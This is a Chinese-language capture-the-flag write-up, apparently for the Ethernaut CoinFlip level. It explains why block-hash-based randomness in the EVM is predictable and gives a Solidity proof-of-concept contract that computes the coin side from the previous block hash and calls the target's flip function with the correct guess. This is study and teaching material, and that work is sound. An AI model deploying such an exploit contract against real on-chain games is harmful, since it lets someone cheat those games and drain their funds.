赞
踩
题目要求:连续猜出10次抛硬币的结果
题意解析:
本题的关键点在于下面这条语句
![]()
显然,本题的考察点在于如何利用EVM中随机数生成的固有缺陷
我们需要明白一点,由于区块链网络中所有节点的共识机制,基于EVM自身构建的伪随机数在一定条件下都是可以预测的(此处不考虑预言机的问题)
那么本题的逻辑就非常清晰了:
如果blockvalue≥FACTOR,则side取true,此时我们的_guess同样应该取true
如果blockvalue < FACTOR,则side取false,此时我们的_guess同样应该取false
连续调用10次flip函数即可过关
下面是本题的POC合约
- // SPDX-License-Identifier: MIT
- pragma solidity ^0.8.0;
-
- import '@openzeppelin/contracts/utils/math/SafeMath.sol';
-
- contract POC {
- using SafeMath for uint256;
- address public victim;
-
- function setVictim(address victim_) public {
- victim = victim_;
- }
-
- function flip_attack() public {
- uint256 blockValue = uint256(blockhash(block.number.sub(1)));
- uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
- uint256 coinFlip = blockValue.div(FACTOR);
-
- bool guess = coinFlip == 1 ? true : false;
-
- (bool success,) = victim.call(abi.encodeWithSignature("flip(bool)",guess));
- require(success==true, "call CoinFlip:flip failed");
-
- }
- }

Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。